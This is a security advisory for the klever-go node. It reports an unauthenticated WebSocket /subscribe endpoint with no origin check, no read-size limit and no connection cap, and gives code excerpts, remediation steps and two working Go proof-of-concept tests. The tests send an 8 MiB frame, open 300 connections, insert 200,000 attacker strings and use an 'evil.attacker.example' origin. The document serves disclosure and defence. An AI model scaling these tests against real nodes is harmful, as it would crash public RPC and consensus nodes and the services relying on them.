The unauthenticated WebSocket endpoint GET /subscribe is registered open: true by default
(config/node/api.yaml) and lets a remote, unauthenticated client exhaust the node's memory and
goroutines. Because the REST API runs IN-PROCESS with the node — network/api/api.go Start(...)
ends with ws.Run(kleverFacade.RestAPIInterface()) — exhausting/killing the API process takes down
the entire node, including its P2P and consensus participation. No API key, account, stake, or funds
are required.
Three compounding, independently-exploitable gaps stack on this one endpoint:
upgrader.CheckOrigin always returns true
(network/api/websocket/routes.go), so any web origin can complete the handshake.conn.SetReadLimit(...). gorilla's default is
UNLIMITED, so a single conn.ReadJSON (processSubscription) or conn.ReadMessage
(client.loopIn) can be forced to allocate an arbitrarily large buffer from ONE frame.simultaneousRequests: 100) releases its
slot as soon as handleSubscribe returns, which it does immediately after
go processSubscription(conn, hub). Live WebSocket connections are therefore NOT counted by it.
There is no per-IP / per-connection / hub-level cap. Each accepted connection spawns 2 goroutines
plus a 500-entry buffered channel, and req.Addresses has no length cap, so the hub's
addressSubscription map grows 1:1 with attacker-supplied strings.Unauthenticated, reachable by default, no recovery on the resource-allocation path:
gin engine (network/api/api.go: Start -> ws.Run, IN-PROCESS with node)
-> GET /subscribe network/api/websocket/routes.go:34 (SubscribeTopics)
-> handleSubscribe network/api/websocket/routes.go:39
-> upgrader.Upgrade (CheckOrigin == true) network/api/websocket/routes.go:22 <-- GAP #1
-> go processSubscription(conn, hub) network/api/websocket/routes.go:46 (throttler slot freed here)
-> conn.ReadJSON(&req) (no SetReadLimit) network/api/websocket/routes.go:57 <-- GAP #2
-> hub.HandleClientInsertion(...) websocket/websocket.go:121 <-- GAP #3 (addresses uncapped)
-> websocket.NewClient -> loopIn/loopOut (2 goroutines + 500-buf chan per conn) websocket/client.go:24
-> conn.ReadMessage() (no SetReadLimit, no deadline) websocket/client.go:77 <-- GAP #2
Root-cause excerpts (commit 23b74e1):
network/api/websocket/routes.go
var upgrader = gorilla.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // GAP #1: any origin accepted
},
}
func handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {
conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
if err != nil {
log.Error(subscribeOp, "err", err.Error())
return
}
go processSubscription(conn, hub) // returns now -> gin global throttler slot released (GAP #3)
}
func processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {
// no conn.SetReadLimit(...) anywhere (GAP #2)
_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))
var req subscribeRequest
if err := conn.ReadJSON(&req); err != nil { ... } // unbounded read
_ = conn.SetReadDeadline(time.Time{}) // deadline cleared
...
client := websocket.NewClient(conn, hub)
hub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)
}
websocket/websocket.go — HandleClientInsertion inserts every address with no length cap:
for _, address := range addresses {
if _, ok := h.addressSubscription[address]; !ok {
h.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input
}
...
}
websocket/client.go — loopIn reads with no size limit and no deadline:
for {
messageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit
...
}
--rest-api-interface :8080 / 0.0.0.0:8080. This is the standard
configuration for public RPC and observer infrastructure (the kind Klever itself operates at
node.klever.org / api.klever.org). Here the attacker reaches /subscribe directly over the
network with no further conditions.localhost:8080
(common/facade/nodeFacade.go DefaultRestInterface = "localhost:8080"). Because
CheckOrigin returns true (GAP #1), any website an operator visits can open
ws://localhost:8080/subscribe from the victim's browser and drive GAP #2 (single oversized
frame) and GAP #3 (many connections) without the API being network-exposed at all./subscribe is open: true in the default config/node/api.yaml; isSubscriptionRouteEnabled
returns true and the route + hub are wired unconditionally in RegisterRoutes./subscribe is NOT listed in endpointsThrottlers (config/node/config.yaml), so it has no
per-endpoint goroutine cap.This single finding produces several distinct impacts because the three gaps amplify different node resources and reach the node through two different exposure models. They are broken out so the remediation owner can scope each one.
SetReadLimit, gorilla buffers
the entire frame in memory before the JSON is even parsed. Frame size scales the allocation
linearly, so one connection can drive a multi-GB allocation.req.Addresses is uncapped, and HandleClientInsertion inserts every entry into the hub's
addressSubscription map. ONE connection submitting N attacker-controlled address strings grows
the map to exactly N entries (1:1), independent of how many real on-chain addresses exist.CheckOrigin is always true, Impacts A–C are reachable from a victim's browser even
when the API is bound to localhost and never exposed to the network. A node operator who simply
visits a malicious page can have their own node driven into Impact A/B/C from inside their browser.localhost-bind "mitigation" does not hold against a web-drive-by attacker.ws.Run(...) in network/api/api.go).
OOM/kill of the API = loss of P2P + consensus participation for that node, not merely loss of the
RPC surface. For a public RPC/observer node this is an availability break for every downstream
wallet/explorer/service; repeated across many nodes it degrades overall network availability.Two complementary PoCs were executed against the REAL production code at commit 23b74e1.
All runs PASS. Sources, scenarios, and run instructions are in PoC-Source below.
addressSubscription growth (Impact C)Drives the real SocketHub.HandleClientInsertion (production code, no stub) with one client
submitting 200,000 attacker-controlled address strings.
$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v
=== RUN TestPoC_UnboundedAddressSubscriptionGrowth
zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000
zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count
--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)
PASS
ok github.com/klever-io/klever-go/websocket 0.092s
Interpretation: one connection → 200,000 hub map entries (1:1), confirming GAP #3 / Impact C with no cap. Scaling the address count scales the allocation.
Runs the REAL network/api/websocket.SubscribeTopics + websocket.NewHub + hub.StartServer
behind a gin server on 127.0.0.1, driven by a real gorilla WebSocket client, with a "hardened"
A/B control (strict CheckOrigin + SetReadLimit(1 MiB)) to prove each missing control is the cause.
$ go test ./network/api/websocket/ -run TestE2E_Gap -v
=== RUN TestE2E_Gap1_EvilOriginAccepted
zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)
zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected
--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)
=== RUN TestE2E_Gap2_NoReadSizeLimit
zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)
zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.
--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)
=== RUN TestE2E_Gap3_NoConnectionCap
zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -> 604 (~2 per conn).
--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)
PASS
ok github.com/klever-io/klever-go/network/api/websocket 1.866s
Interpretation:
Origin: https://evil.attacker.example; the hardened control returns HTTP 403. → cross-origin
drive-by reach, including to localhost-bound nodes.Frame size (8 MiB) and connection count (300) are kept deliberately modest so the test host is not OOM-killed. The vulnerability is the ABSENCE of the read-size / connection / origin controls, which the hardened A/B control proves fixes each gap. Full end-to-end OOM (multi-GB frame / connection flood) is intentionally NOT executed against any production node.
Two self-contained Go tests reproduce the finding against the unmodified production code. Both use
only the repo's own go.mod dependencies (gin + gorilla, already required) and the real
network/api/websocket + websocket packages. No external services.
client, call the
REAL SocketHub.HandleClientInsertion with 200,000 attacker-controlled address strings, and assert
the hub's addressSubscription map grows 1:1 (no cap). This isolates GAP #3 / Impact C with zero
network setup.gin.New() + the production
wsapi.SubscribeTopics(engine, hub) + websocket.NewHub(...) + hub.StartServer(ctx) on a
127.0.0.1:0 listener, then drives it with a real gorilla WS client. A "hardened" mirror server
(strict CheckOrigin + SetReadLimit(1 MiB)) is the A/B control that proves each missing control
is the root cause:
Origin: https://evil.attacker.example; real accepts (HTTP 101), control rejects (403).git clone https://github.com/klever-io/klever-go && cd klever-go
(Go toolchain matching go.mod; verified locally on go1.26.3 at commit 23b74e1.)websocket/poc_ws_unbounded_subscription_test.go and run:
go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -vnetwork/api/websocket/e2e_ws_dos_test.go and run:
go test ./network/api/websocket/ -run TestE2E_Gap -v
(The three TestE2E_Gap* subtests can run together; each starts its own loopback server.)websocket/poc_ws_unbounded_subscription_test.go// Target component: klever-go REST/WebSocket API — unauthenticated /subscribe (network/api/websocket, websocket/)
// Vulnerability type: Uncontrolled resource consumption (CWE-770) — unauthenticated remote
// memory/goroutine exhaustion of the node process via the WS API.
// Scope note: The REST API runs IN-PROCESS with the node, so OOM kills the whole node
// (P2P + consensus), not a separate sidecar.
//
// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):
// 1) gorilla Upgrader has CheckOrigin -> always true (any origin).
// 2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -> one message
// can force a multi-GB allocation in conn.ReadJSON / ReadMessage.
// 3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is
// released right after the HTTP->WS upgrade in handleSubscribe (it returns immediately
// after `go processSubscription`), so live WS connections are NOT counted by the
// 100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered
// channel, and there is no per-connection cap on req.Addresses, so the hub's
// addressSubscription map grows 1:1 with attacker-supplied strings.
//
// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are
// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).
//
// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`
package websocket
import (
"fmt"
"testing"
"github.com/klever-io/klever-go/indexer"
)
func TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {
hub := NewHub("", "", nil)
c := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}
const n = 200000
addresses := make([]string, n)
for i := 0; i < n; i++ {
addresses[i] = fmt.Sprintf("klv-attacker-addr-%d", i)
}
hub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)
hub.mu.RLock()
got := len(hub.addressSubscription)
hub.mu.RUnlock()
t.Logf("addressSubscription entries after ONE client submitted %d addresses: %d", n, got)
if got != n {
t.Fatalf("expected unbounded growth to %d, got %d", n, got)
}
t.Logf("VULNERABLE: no cap on per-connection address count")
}
network/api/websocket/e2e_ws_dos_test.gopackage websocket_test
import (
"context"
"net"
"net/http"
"runtime"
"strings"
"testing"
"time"
"github.com/gin-gonic/gin"
gorilla "github.com/gorilla/websocket"
wsapi "github.com/klever-io/klever-go/network/api/websocket"
hubpkg "github.com/klever-io/klever-go/websocket"
)
// ---- vulnerable server: the REAL production handler ----
func startRealSubscribeServer(t *testing.T) (string, func()) {
t.Helper()
gin.SetMode(gin.ReleaseMode)
engine := gin.New()
hub := hubpkg.NewHub("", "", nil) // facade nil: /subscribe path doesn't use it
ctx, cancel := context.WithCancel(context.Background())
go hub.StartServer(ctx)
wsapi.SubscribeTopics(engine, hub) // <-- REAL production registration
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
srv := &http.Server{Handler: engine}
go func() { _ = srv.Serve(ln) }()
stop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }
return ln.Addr().String(), stop
}
// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----
func startHardenedSubscribeServer(t *testing.T) (string, func()) {
t.Helper()
gin.SetMode(gin.ReleaseMode)
engine := gin.New()
up := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {
return r.Header.Get("Origin") == "" // strict: only same/no-origin allowed
}}
engine.GET("/subscribe", func(c *gin.Context) {
conn, err := up.Upgrade(c.Writer, c.Request, nil)
if err != nil {
return
}
conn.SetReadLimit(1 << 20) // 1 MiB cap (the fix)
go func() {
defer conn.Close()
for {
if _, _, err := conn.ReadMessage(); err != nil {
return
}
}
}()
})
ln, _ := net.Listen("tcp", "127.0.0.1:0")
srv := &http.Server{Handler: engine}
go func() { _ = srv.Serve(ln) }()
return ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }
}
func bigValidSubscribeJSON(addrBytes int) []byte {
// valid subscribe frame: one giant attacker-controlled address string
return []byte(`{"subscribed_types":["accounts"],"addresses":["` + strings.Repeat("A", addrBytes) + `"]}`)
}
// GAP #1 — permissive origin: real handler accepts an evil Origin; hardened rejects it.
func TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {
realAddr, stopReal := startRealSubscribeServer(t)
defer stopReal()
hardAddr, stopHard := startHardenedSubscribeServer(t)
defer stopHard()
hdr := http.Header{"Origin": []string{"https://evil.attacker.example"}}
cReal, respReal, errReal := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", hdr)
if errReal != nil {
t.Fatalf("REAL handler REJECTED evil origin (status %v) — not vulnerable", respReal)
}
_ = cReal.Close()
t.Logf("GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP %d)", respReal.StatusCode)
cHard, respHard, errHard := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", hdr)
if errHard == nil {
_ = cHard.Close()
t.Fatalf("hardened control unexpectedly accepted evil origin")
}
t.Logf("control: hardened handler rejected evil origin (HTTP %d) as expected", respHard.StatusCode)
}
// GAP #2 — no read-size limit: real handler reads a frame far over any sane WS limit;
// the hardened control (SetReadLimit 1 MiB) closes the connection with 1009 on the same frame.
func TestE2E_Gap2_NoReadSizeLimit(t *testing.T) {
realAddr, stopReal := startRealSubscribeServer(t)
defer stopReal()
hardAddr, stopHard := startHardenedSubscribeServer(t)
defer stopHard()
const big = 8 << 20 // 8 MiB single frame (>> typical 1 MiB cap; tiny enough not to OOM the runner)
frame := bigValidSubscribeJSON(big)
// --- hardened control: must reject (close 1009 "message too big") ---
cHard, _, err := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", nil)
if err != nil {
t.Fatalf("dial hardened: %v", err)
}
_ = cHard.WriteMessage(gorilla.TextMessage, frame)
cHard.SetReadDeadline(time.Now().Add(3 * time.Second))
_, _, errHard := cHard.ReadMessage()
_ = cHard.Close()
if ce, ok := errHard.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
t.Logf("control: hardened handler rejected %d-byte frame with close 1009 (read limit works)", big)
} else {
t.Logf("control note: hardened returned %v (expected close 1009)", errHard)
}
// --- REAL handler: reads the whole 8 MiB frame; connection NOT closed for size ---
var m0, m1 runtime.MemStats
runtime.GC()
runtime.ReadMemStats(&m0)
cReal, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
if err != nil {
t.Fatalf("dial real: %v", err)
}
if err := cReal.WriteMessage(gorilla.TextMessage, frame); err != nil {
t.Fatalf("write big frame to real: %v", err)
}
// Give the server time to ReadJSON the full frame + insert the giant address.
time.Sleep(400 * time.Millisecond)
runtime.ReadMemStats(&m1)
// The real handler must NOT have closed us with 1009. Probe with a short read.
cReal.SetReadDeadline(time.Now().Add(1 * time.Second))
_, _, rerr := cReal.ReadMessage()
_ = cReal.Close()
if ce, ok := rerr.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
t.Fatalf("REAL handler enforced a read limit (close 1009) — NOT vulnerable")
}
t.Logf("GAP#2 CONFIRMED: real /subscribe accepted an %d-byte (8 MiB) frame with NO size limit "+
"(no close 1009; read err=%v). Server heap grew ~%d MiB while buffering one attacker frame.",
big, rerr, int64(m1.HeapAlloc-m0.HeapAlloc)/(1<<20))
}
// GAP #3 (connection level) — no per-connection / per-IP / global cap on live WS connections.
// Open many concurrent real connections from one client; the real server accepts them all and
// spawns 2 goroutines + a 500-buffered channel each (uncounted by the gin global throttler,
// whose slot is released right after the HTTP->WS upgrade). Measured via goroutine growth.
func TestE2E_Gap3_NoConnectionCap(t *testing.T) {
realAddr, stopReal := startRealSubscribeServer(t)
defer stopReal()
const n = 300 // modest; enough to show no cap without stressing the runner
g0 := runtime.NumGoroutine()
conns := make([]*gorilla.Conn, 0, n)
accepted := 0
for i := 0; i < n; i++ {
c, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
if err != nil {
t.Logf("connection %d rejected: %v", i, err)
break
}
// send a valid subscribe so the server promotes it to a live hub client
_ = c.WriteMessage(gorilla.TextMessage, []byte(`{"subscribed_types":["blocks"],"addresses":[]}`))
conns = append(conns, c)
accepted++
}
time.Sleep(300 * time.Millisecond)
g1 := runtime.NumGoroutine()
for _, c := range conns {
_ = c.Close()
}
if accepted < n {
t.Fatalf("server applied a connection cap at %d (<%d) — would weaken the finding", accepted, n)
}
t.Logf("GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL %d concurrent connections from one client "+
"with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew %d -> %d (~%d per conn).",
accepted, g0, g1, (g1-g0)/n)
}
Address each gap; they are independent and all should be fixed regardless of API binding.
GAP #2 (read-size) — set an explicit read limit on every accepted WS connection, before any read,
in both read paths (processSubscription and client.loopIn):
const maxWSMessageSize = 1 << 20 // 1 MiB; tune to the largest legitimate subscribe payload
conn.SetReadLimit(maxWSMessageSize)
gorilla then closes oversized frames with close 1009 instead of buffering unbounded memory.
GAP #3 (connection / fan-out cap):
len(req.Addresses) and the total per-connection subscription count to a sane maximum;
reject or truncate beyond it in HandleClientInsertion / processSubscription.GAP #1 (origin) — replace CheckOrigin: func(...) bool { return true } with an allowlist driven by
config (same-origin and explicitly trusted origins only). This removes the cross-origin drive-by
reach to localhost-bound nodes (Impact D).
Defense-in-depth — keep a read deadline active for the lifetime of the connection (the current code
clears it via SetReadDeadline(time.Time{}) after the first read), so an idle/slow connection
cannot pin resources indefinitely.
Checked against https://github.com/klever-io/klever-go/security/advisories (3 published):
MultiDataInterceptor OOM via crafted compressed P2P payload.MultiDataInterceptor throttler-slot leak on malformed compressed batches.This finding is NOT a duplicate:
network/api/websocket, websocket/), not the P2P
interceptor pipeline or the KVM./subscribe, SetReadLimit, CheckOrigin,
addressSubscription, SocketHub, or processSubscription.MaxDecompressedBatchSize,
ownershipTransferred throttler guard, runtime.ReadOnly() delete/upgrade checks), confirming the
tree is at/after v1.7.17, yet the /subscribe gaps remain unpatched at HEAD 23b74e1.{
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T19:16:40Z",
"nvd_published_at": null,
"severity": "HIGH"
}